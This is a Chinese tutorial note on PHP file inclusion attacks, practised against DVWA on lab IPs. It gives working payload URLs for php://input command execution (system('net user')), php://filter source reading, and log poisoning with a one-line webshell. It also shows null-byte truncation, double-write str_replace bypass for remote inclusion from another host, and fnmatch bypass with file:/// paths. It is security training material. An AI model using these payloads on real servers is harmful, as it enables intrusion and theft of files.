文件包含脑图
![](https://img.haomeiwen.com/i21549033/b5c759a936661f2d.png)
本地包含
使用include文件
代码表示上传的文件都以php执行
远程包含
需要把allow_url_include=off这行,把off改成on
包含日志文件
开启apache日志方法打开配置文件-httpd-conf”,打开httpd.conf配置文件,第299行
1. ##CustomLog "logs/access.log" common
去掉前边的 # ,并重启apache。
写入一句话木马
PHP包含写文件
构造URL:
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据为:<?php
system('net user');?>
PHP包含读文件
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
访问URL,得到经过base64加密后的字符串:
包含截断绕过
<?php
if(isset($_GET['page'])){
include$_GET['page'] .".php" ;
}else{
include'home.php';
}
?>
这种方法只适合于magic_quotes_gpc=off的时候, php版本小于5.3.4,可通过%00截断绕过,不过现在已经很难见到了(空字节),比如:index.php?file=info.txt//////////////…………超过一定数据的/。
str_replace、fnmatch涵数绕过
str_replace函数绕过:
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
1、本地文件包含
http://192.168.0.113:82/dvwa/vulnerabilities/fi/?page=..././777.jpg
2、绝对路径不受任何影响http://192.168.0.113:82/dvwa/vulnerabilities/fi/?page=c:/2.txt
3、远程文件包含:http://192.168.0.113:82/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.0.106:8080/index.php
fnmatch函数绕过
if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)。
http://192.168.0.113:82/dvwa/vulnerabilities/fi/?page=file:///C:/2.txt
有时间的同学可以完成一下https://m.hundan.org/wooyun-2014-061639
网友评论